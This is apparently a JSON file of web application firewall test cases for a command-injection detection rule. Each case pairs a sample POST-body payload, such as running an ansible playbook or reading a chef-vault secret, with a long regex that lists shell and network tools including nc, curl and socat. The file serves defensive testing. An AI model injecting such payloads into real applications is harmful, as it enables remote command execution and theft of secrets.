?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block decrypting ansible secrets" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=ansible-playbook site.yml\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*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0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block execution of ansible playbooks" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=chef-vault -i secret\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*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\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$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b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|